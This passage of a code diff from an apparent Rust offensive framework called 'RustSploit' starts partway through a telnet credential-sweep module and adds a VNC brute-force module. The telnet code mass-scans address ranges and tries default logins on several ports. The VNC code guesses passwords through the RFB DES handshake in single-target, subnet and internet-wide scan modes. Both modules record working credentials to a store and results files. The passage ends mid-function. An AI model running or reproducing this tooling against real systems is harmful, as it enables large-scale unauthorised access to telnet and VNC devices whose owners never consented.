"telnet_sweep_creds.txt",
|
||||
)
|
||||
.await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let results_file_clone = results_file.clone();
|
||||
let verbose_flag = verbose;
|
||||
|
||||
// Use the shared mass scan engine with telnet probe
|
||||
run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "Telnet-Hose",
|
||||
default_port: 23,
|
||||
state_file: "telnet_sweep_state.log",
|
||||
default_output: "telnet_sweep_results.txt",
|
||||
default_concurrency: 500,
|
||||
},
|
||||
move |ip, port| {
|
||||
let rf = results_file_clone.clone();
|
||||
async move {
|
||||
// Also try alternate telnet ports beyond the configured one
|
||||
let ports_to_try: Vec<u16> = if TELNET_PORTS.contains(&port) {
|
||||
TELNET_PORTS.to_vec()
|
||||
} else {
|
||||
let mut v = vec![port];
|
||||
v.extend_from_slice(TELNET_PORTS);
|
||||
v.sort_unstable();
|
||||
v.dedup();
|
||||
v
|
||||
};
|
||||
|
||||
for &p in &ports_to_try {
|
||||
let socket = SocketAddr::new(ip, p);
|
||||
// Quick connect check
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] Checking {}:{} connectivity...", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
if !crate::utils::tcp_port_open(ip, p, std::time::Duration::from_secs(2)).await
|
||||
{
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port closed/filtered", ip, p).dimmed()
|
||||
);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} - port open, trying credentials...", ip, p)
|
||||
.dimmed()
|
||||
);
|
||||
}
|
||||
|
||||
// Try each credential pair
|
||||
for (user, pass) in TOP_CREDENTIALS.iter() {
|
||||
if verbose_flag {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[VERBOSE] {}:{} trying {}:{}", ip, p, user, pass).dimmed()
|
||||
);
|
||||
}
|
||||
if let Ok(true) = try_telnet_login_hose(&socket, user, pass).await {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}:{}:{}\n", ts, ip, p, user, pass);
|
||||
|
||||
// Store credential in framework credential store
|
||||
{
|
||||
let id = crate::cred_store::store_credential(
|
||||
&ip.to_string(),
|
||||
p,
|
||||
"telnet",
|
||||
user,
|
||||
pass,
|
||||
crate::cred_store::CredType::Password,
|
||||
"creds/generic/telnet_sweep",
|
||||
)
|
||||
.await;
|
||||
if id.is_none() { crate::meprintln!("[!] Failed to store credential"); }
|
||||
}
|
||||
|
||||
// Save to dedicated results file if requested
|
||||
if let Some(ref path) = rf {
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.create(true).append(true);
|
||||
opts.mode(0o600);
|
||||
if let Ok(mut f) = opts.open(path) {
|
||||
if let Err(e) = std::io::Write::write_all(&mut f, line.as_bytes()) { crate::meprintln!("[!] Results file write error: {}", e); }
|
||||
}
|
||||
}
|
||||
|
||||
return Some(line);
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
},
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
// Simplified & Optimized Telnet Login for Hose
|
||||
// Wrapper for retry logic
|
||||
async fn try_telnet_login_hose(
|
||||
socket: &SocketAddr,
|
||||
username: &str,
|
||||
password: &str,
|
||||
) -> Result<bool> {
|
||||
// Attempt 1: Standard (try to detect, fallback to User+Pass)
|
||||
let (success, banner_seen) = do_telnet_session(socket, username, password, false).await?;
|
||||
if success {
|
||||
return Ok(true);
|
||||
}
|
||||
|
||||
// If we failed AND never saw a proper banner (blind/silence), retry with Password Only
|
||||
if !banner_seen {
|
||||
// Attempt 2: Blind Password Only
|
||||
let (success_retry, _) = do_telnet_session(socket, username, password, true).await?;
|
||||
if success_retry {
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
// Inner session logic
|
||||
async fn do_telnet_session(
|
||||
socket: &SocketAddr,
|
||||
username: &str,
|
||||
password: &str,
|
||||
force_password_only: bool,
|
||||
) -> Result<(bool, bool)> {
|
||||
// returns (success, banner_detected)
|
||||
|
||||
let stream = match crate::utils::network::tcp_connect_addr(*socket, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
_ => return Ok((false, false)), // Connect fail
|
||||
};
|
||||
|
||||
let (reader, mut writer) = tokio::io::split(stream);
|
||||
let mut reader = BufReader::new(reader);
|
||||
let mut buf = [0u8; 1024];
|
||||
|
||||
// State Machine
|
||||
let mut state = TelnetState::WaitingForBanner;
|
||||
let start = Instant::now();
|
||||
let max_duration = Duration::from_millis(LOGIN_TIMEOUT_MS);
|
||||
let mut banner_detected = false;
|
||||
|
||||
while start.elapsed() < max_duration {
|
||||
// Simple Read with Timeout
|
||||
let read_future = reader.read(&mut buf);
|
||||
let n = match timeout(Duration::from_millis(1500), read_future).await {
|
||||
Ok(Ok(0)) => return Ok((false, banner_detected)), // EOF
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(_)) => return Ok((false, banner_detected)), // Error
|
||||
Err(_) => {
|
||||
// Read Timeout logic
|
||||
|
||||
// If waiting for banner and timed out -> No Banner Detected
|
||||
if state == TelnetState::WaitingForBanner {
|
||||
// Decide action based on mode
|
||||
if force_password_only {
|
||||
state = TelnetState::SendingPassword;
|
||||
} else {
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if state == TelnetState::WaitingForResult
|
||||
|| state == TelnetState::WaitingForHelpResponse
|
||||
{
|
||||
// Timeout waiting for result/help usually means fail or stuck
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
continue;
|
||||
}
|
||||
};
|
||||
|
||||
// IAC Stripping (Minimal)
|
||||
let s = String::from_utf8_lossy(&buf[..n]);
|
||||
let lower = s.to_lowercase();
|
||||
|
||||
// Handle current state
|
||||
match state {
|
||||
TelnetState::WaitingForBanner => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingPassword;
|
||||
} else if lower.contains("login")
|
||||
|| lower.contains("user")
|
||||
|| lower.contains("name")
|
||||
{
|
||||
banner_detected = true;
|
||||
state = TelnetState::SendingUsername;
|
||||
}
|
||||
}
|
||||
TelnetState::SendingUsername => {
|
||||
// Should not happen here if we just transitioned,
|
||||
// but if we are reading response after sending user:
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForPasswordPrompt => {
|
||||
if lower.contains("pass") || lower.contains("word") {
|
||||
state = TelnetState::SendingPassword;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForResult => {
|
||||
if lower.contains("incorrect")
|
||||
|| lower.contains("fail")
|
||||
|| lower.contains("denied")
|
||||
|| lower.contains("error")
|
||||
{
|
||||
return Ok((false, banner_detected));
|
||||
}
|
||||
|
||||
if lower.contains("#")
|
||||
|| lower.contains("$")
|
||||
|| (lower.contains(">") && !lower.contains(">>"))
|
||||
|| lower.contains("welcome")
|
||||
{
|
||||
state = TelnetState::SendingHelp;
|
||||
}
|
||||
}
|
||||
TelnetState::WaitingForHelpResponse => {
|
||||
let mut match_count = 0;
|
||||
for kw in HELP_KEYWORDS {
|
||||
if lower.contains(kw) {
|
||||
match_count += 1;
|
||||
}
|
||||
}
|
||||
if match_count >= 2 {
|
||||
return Ok((true, banner_detected));
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
|
||||
// Perform Writes if needed
|
||||
match state {
|
||||
TelnetState::SendingUsername => {
|
||||
if let Err(e) = writer
|
||||
.write_all(format!("{}\r\n", username).as_bytes())
|
||||
.await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
// Add requested 2s delay
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
state = TelnetState::WaitingForPasswordPrompt;
|
||||
}
|
||||
TelnetState::SendingPassword => {
|
||||
if let Err(e) = writer
|
||||
.write_all(format!("{}\r\n", password).as_bytes())
|
||||
.await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
state = TelnetState::WaitingForResult;
|
||||
}
|
||||
TelnetState::SendingHelp => {
|
||||
if let Err(e) = writer.write_all(b"help\r\n").await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
state = TelnetState::WaitingForHelpResponse;
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
Ok((false, banner_detected))
|
||||
}
|
||||
@@ -0,0 +1,774 @@
|
||||
//! VNC Brute Force Module
|
||||
//!
|
||||
//! Raw TCP implementation of VNC (RFB) DES challenge-response authentication.
|
||||
//! Supports RFB protocol versions 3.3, 3.7, and 3.8.
|
||||
//!
|
||||
//! Protocol flow:
|
||||
//! 1. Read server version: "RFB 003.00x\n"
|
||||
//! 2. Send client version: "RFB 003.008\n"
|
||||
//! 3. Read security types, select VNC Authentication (type 2)
|
||||
//! 4. Read 16-byte challenge
|
||||
//! 5. Encrypt challenge with DES using password (bit-reversed, padded to 8 bytes)
|
||||
//! 6. Send 16-byte encrypted response
|
||||
//! 7. Read 4-byte security result: 0x00000000 = success
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use des::cipher::{BlockEncrypt, KeyInit, generic_array::GenericArray};
|
||||
use des::Des;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
|
||||
use crate::utils::{
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, get_filename_in_current_dir, load_lines, normalize_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_VNC_PORT: u16 = 5900;
|
||||
const CONNECT_TIMEOUT_MS: u64 = 5000;
|
||||
const READ_TIMEOUT_MS: u64 = 5000;
|
||||
|
||||
/// VNC is password-only (no username). These are common default passwords.
|
||||
const DEFAULT_PASSWORDS: &[&str] = &[
|
||||
"",
|
||||
"password",
|
||||
"1234",
|
||||
"admin",
|
||||
"vnc",
|
||||
"pass",
|
||||
"12345",
|
||||
"123456",
|
||||
"vncpass",
|
||||
"root",
|
||||
"test",
|
||||
"default",
|
||||
];
|
||||
|
||||
// RFB protocol constants
|
||||
const RFB_VERSION_38: &[u8] = b"RFB 003.008\n";
|
||||
const RFB_VERSION_37: &[u8] = b"RFB 003.007\n";
|
||||
const VNC_AUTH_TYPE: u8 = 2;
|
||||
const VNC_AUTH_NONE: u8 = 1;
|
||||
const CHALLENGE_LEN: usize = 16;
|
||||
|
||||
// ============================================================================
|
||||
// Module Info
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "VNC Brute Force".to_string(),
|
||||
description: "Brute-force VNC authentication using DES challenge-response over raw TCP. \
|
||||
Implements the RFB protocol handshake with proper bit-reversed DES key derivation. \
|
||||
VNC uses password-only auth (max 8 chars). Supports default password testing, \
|
||||
wordlist mode, subnet scanning, and mass scan."
|
||||
.to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.rfc-editor.org/rfc/rfc6143".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Main Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{}", "=== VNC Brute Force Module ===".bold());
|
||||
crate::mprintln!("[*] Target: {}", target);
|
||||
|
||||
// --- Mass Scan Mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} -- Mass Scan Mode", target).yellow()
|
||||
);
|
||||
return run_mass_scan(
|
||||
target,
|
||||
MassScanConfig {
|
||||
protocol_name: "VNC",
|
||||
default_port: DEFAULT_VNC_PORT,
|
||||
state_file: "vnc_brute_hose_state.log",
|
||||
default_output: "vnc_mass_results.txt",
|
||||
default_concurrency: 200,
|
||||
},
|
||||
move |ip, port| async move {
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(5)).await {
|
||||
return None;
|
||||
}
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let passwords = ["", "password", "1234", "admin", "vnc", "pass"];
|
||||
for pass in passwords {
|
||||
match try_vnc_auth(&addr, pass).await {
|
||||
VncResult::Success => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let display_pass = if pass.is_empty() { "(empty)" } else { pass };
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):{}\n",
|
||||
ts, ip, port, display_pass
|
||||
));
|
||||
}
|
||||
VncResult::NoAuth => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
return Some(format!(
|
||||
"[{}] {}:{}:(vnc):(no-auth-required)\n",
|
||||
ts, ip, port
|
||||
));
|
||||
}
|
||||
VncResult::ConnectionError(_) => return None,
|
||||
VncResult::AuthFailed | VncResult::ProtocolError(_) => {}
|
||||
}
|
||||
}
|
||||
None
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Target: {} (Subnet Scan)", target).cyan()
|
||||
);
|
||||
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
let passwords_file =
|
||||
cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if passes.is_empty() {
|
||||
return Err(anyhow!("Password list empty"));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent hosts", "10").await?;
|
||||
input.parse::<usize>().unwrap_or(10).max(1).min(256)
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file(
|
||||
"output_file",
|
||||
"Output result file",
|
||||
"vnc_subnet_results.txt",
|
||||
)
|
||||
.await?;
|
||||
|
||||
// VNC is password-only: use a single dummy username and the password list
|
||||
let users = vec!["vnc".to_string()];
|
||||
|
||||
return run_subnet_bruteforce(
|
||||
target,
|
||||
port,
|
||||
users,
|
||||
passes,
|
||||
&SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/vnc_credcheck",
|
||||
skip_tcp_check: false,
|
||||
},
|
||||
move |ip: IpAddr, port: u16, _user: String, pass: String| async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
},
|
||||
)
|
||||
.await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port: u16 = cfg_prompt_port("port", "VNC Port", DEFAULT_VNC_PORT).await?;
|
||||
|
||||
let use_defaults =
|
||||
cfg_prompt_yes_no("use_defaults", "Try default passwords first?", true).await?;
|
||||
|
||||
let passwords_file =
|
||||
if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && passwords_file.is_none() {
|
||||
return Err(anyhow!(
|
||||
"At least a password wordlist or default passwords must be enabled"
|
||||
));
|
||||
}
|
||||
|
||||
let concurrency: usize = {
|
||||
let input = cfg_prompt_default("concurrency", "Max concurrent tasks", "5").await?;
|
||||
input.parse::<usize>().unwrap_or(5).max(1).min(50)
|
||||
};
|
||||
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(
|
||||
cfg_prompt_output_file("output_file", "Output file", "vnc_brute_results.txt").await?,
|
||||
)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
|
||||
let retry_on_error =
|
||||
cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries: usize = if retry_on_error {
|
||||
let input = cfg_prompt_default("max_retries", "Max retries per attempt", "2").await?;
|
||||
input.parse::<usize>().unwrap_or(2).max(1).min(10)
|
||||
} else {
|
||||
0
|
||||
};
|
||||
|
||||
// Load passwords
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
passwords = load_lines(file)?;
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} passwords", passwords.len()).green()
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// Add default passwords if requested
|
||||
if use_defaults {
|
||||
for pass in DEFAULT_PASSWORDS {
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Added {} default passwords", DEFAULT_PASSWORDS.len()).green()
|
||||
);
|
||||
}
|
||||
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
// VNC is password-only: use a single dummy username for the combos framework
|
||||
let usernames = vec!["vnc".to_string()];
|
||||
let combos = generate_combos_mode(&usernames, &passwords, ComboMode::Linear);
|
||||
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
format!(
|
||||
"[*] Starting VNC brute-force on {}:{} ({} passwords, {} threads)",
|
||||
target,
|
||||
port,
|
||||
passwords.len(),
|
||||
concurrency
|
||||
)
|
||||
.cyan()
|
||||
);
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
"[*] Note: VNC uses password-only auth (max 8 chars)".blue()
|
||||
);
|
||||
|
||||
let try_login = move |t: String, p: u16, _user: String, pass: String| async move {
|
||||
let addr = normalize_target(&format!("{}:{}", t, p))
|
||||
.unwrap_or_else(|_| format!("{}:{}", t, p));
|
||||
match try_vnc_auth(&addr, &pass).await {
|
||||
VncResult::Success | VncResult::NoAuth => LoginResult::Success,
|
||||
VncResult::AuthFailed => LoginResult::AuthFailed,
|
||||
VncResult::ConnectionError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: true,
|
||||
},
|
||||
VncResult::ProtocolError(e) => LoginResult::Error {
|
||||
message: e,
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(
|
||||
&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 100, // VNC servers often rate-limit; small delay helps
|
||||
max_retries,
|
||||
service_name: "vnc",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/vnc_credcheck",
|
||||
},
|
||||
combos,
|
||||
try_login,
|
||||
)
|
||||
.await?;
|
||||
|
||||
// Print results with VNC-specific formatting (password-only, no username)
|
||||
if result.found.is_empty() {
|
||||
crate::mprintln!("{}", "[-] No valid passwords found.".yellow());
|
||||
} else {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Found {} valid password(s):", result.found.len())
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
for (host, _user, pass) in &result.found {
|
||||
let display_pass = if pass.is_empty() {
|
||||
"(empty)".to_string()
|
||||
} else {
|
||||
pass.clone()
|
||||
};
|
||||
crate::mprintln!(" {} {} password: {}", ">>".green(), host, display_pass);
|
||||
}
|
||||
}
|
||||
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored VNC responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no(
|
||||
"save_unknown_responses",
|
||||
"Save unknown responses to file?",
|
||||
true,
|
||||
)
|
||||
.await?
|
||||
{
|
||||
let default_name = "vnc_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
)
|
||||
.await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# VNC Bruteforce Unknown/Errored Responses (host,pass,error)"
|
||||
)?;
|
||||
for (host, _user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {} - {}", host, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// VNC (RFB) Protocol Implementation
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug)]
|
||||
enum VncResult {
|
||||
/// Authentication succeeded (correct password).
|
||||
Success,
|
||||
/// Server requires no authentication.
|
||||
NoAuth,
|
||||
/// Authentication was rejected (wrong password).
|
||||
AuthFailed,
|
||||
/// TCP/IO error.
|
||||
ConnectionError(String),
|
||||
/// Protocol-level error (unsupported version, etc.).
|
||||
ProtocolError(String),
|
||||
}
|
||||
|
||||
/// Reverse the bits in a byte (VNC DES key derivation requirement).
|
||||
///
|
||||
/// VNC reverses each byte of the password before using it as a DES key.
|
||||
fn reverse_bits(b: u8) -> u8 {
|
||||
let mut result = 0u8;
|
||||
let mut input = b;
|
||||
for _ in 0..8 {
|
||||
result = (result << 1) | (input & 1);
|
||||
input >>= 1;
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// Derive the VNC DES key from a password.
|
||||
///
|
||||
/// Password is truncated to 8 bytes (or zero-padded if shorter),
|
||||
/// then each byte is bit-reversed.
|
||||
fn vnc_des_key(password: &str) -> [u8; 8] {
|
||||
let mut key = [0u8; 8];
|
||||
let pass_bytes = password.as_bytes();
|
||||
let copy_len = pass_bytes.len().min(8);
|
||||
key[..copy_len].copy_from_slice(&pass_bytes[..copy_len]);
|
||||
|
||||
// Bit-reverse each byte
|
||||
for byte in &mut key {
|
||||
*byte = reverse_bits(*byte);
|
||||
}
|
||||
|
||||
key
|
||||
}
|
||||
|
||||
/// Encrypt a 16-byte VNC challenge using DES ECB with the derived key.
|
||||
///
|
||||
/// The challenge is encrypted as two 8-byte blocks independently (ECB mode).
|
||||
fn vnc_des_encrypt(key: &[u8; 8], challenge: &[u8; 16]) -> [u8; 16] {
|
||||
let des_key = GenericArray::from_slice(key);
|
||||
let cipher = Des::new(des_key);
|
||||
|
||||
let mut result = [0u8; 16];
|
||||
|
||||
// Encrypt first 8-byte block
|
||||
let mut block1 = GenericArray::clone_from_slice(&challenge[0..8]);
|
||||
cipher.encrypt_block(&mut block1);
|
||||
result[0..8].copy_from_slice(&block1);
|
||||
|
||||
// Encrypt second 8-byte block
|
||||
let mut block2 = GenericArray::clone_from_slice(&challenge[8..16]);
|
||||
cipher.encrypt_block(&mut block2);
|
||||
result[8..16].copy_from_slice(&block2);
|
||||
|
||||
result
|
||||
}
|
||||
|
||||
/// Parse the RFB server version string and return (major, minor).
|
||||
fn parse_rfb_version(version_str: &[u8]) -> Result<(u16, u16)> {
|
||||
// Expected format: "RFB XXX.YYY\n" (12 bytes)
|
||||
if version_str.len() < 12 {
|
||||
return Err(anyhow!("Version string too short"));
|
||||
}
|
||||
if &version_str[0..4] != b"RFB " {
|
||||
return Err(anyhow!("Not an RFB server"));
|
||||
}
|
||||
|
||||
let major_str = String::from_utf8_lossy(&version_str[4..7]);
|
||||
let minor_str = String::from_utf8_lossy(&version_str[8..11]);
|
||||
|
||||
let major: u16 = major_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid major version: {}", major_str))?;
|
||||
let minor: u16 = minor_str
|
||||
.trim()
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid minor version: {}", minor_str))?;
|
||||
|
||||
Ok((major, minor))
|
||||
}
|
||||
|
||||
/// Attempt VNC authentication against a target address.
|
||||
async fn try_vnc_auth(addr: &str, password: &str) -> VncResult {
|
||||
// TCP connect with timeout
|
||||
let mut stream = match crate::utils::network::tcp_connect(addr, Duration::from_millis(CONNECT_TIMEOUT_MS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return VncResult::ConnectionError(format!("Connect failed: {}", e)),
|
||||
};
|
||||
|
||||
// Step 1: Read server version string (12 bytes)
|
||||
let mut server_version = [0u8; 12];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut server_version),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read server version: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading server version".to_string()),
|
||||
}
|
||||
|
||||
let (_major, minor) = match parse_rfb_version(&server_version) {
|
||||
Ok(v) => v,
|
||||
Err(e) => return VncResult::ProtocolError(format!("Version parse error: {}", e)),
|
||||
};
|
||||
|
||||
// Step 2: Send client version (use 3.8 for best compatibility, fall back to 3.7)
|
||||
let client_version = if minor >= 8 { RFB_VERSION_38 } else { RFB_VERSION_37 };
|
||||
if let Err(e) = stream.write_all(client_version).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send client version: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 3: Read security types
|
||||
if minor >= 7 {
|
||||
// RFB 3.7+: read number of security types, then the type bytes
|
||||
let mut num_types_buf = [0u8; 1];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut num_types_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security type count: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError(
|
||||
"Timeout reading security type count".to_string(),
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
let num_types = num_types_buf[0] as usize;
|
||||
|
||||
if num_types == 0 {
|
||||
// Server is refusing the connection -- read reason string
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_str = String::from_utf8_lossy(&reason);
|
||||
if reason_str.to_lowercase().contains("too many") {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Rate limited: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Connection refused: {}",
|
||||
reason_str
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
return VncResult::ProtocolError("Connection refused (0 security types)".to_string());
|
||||
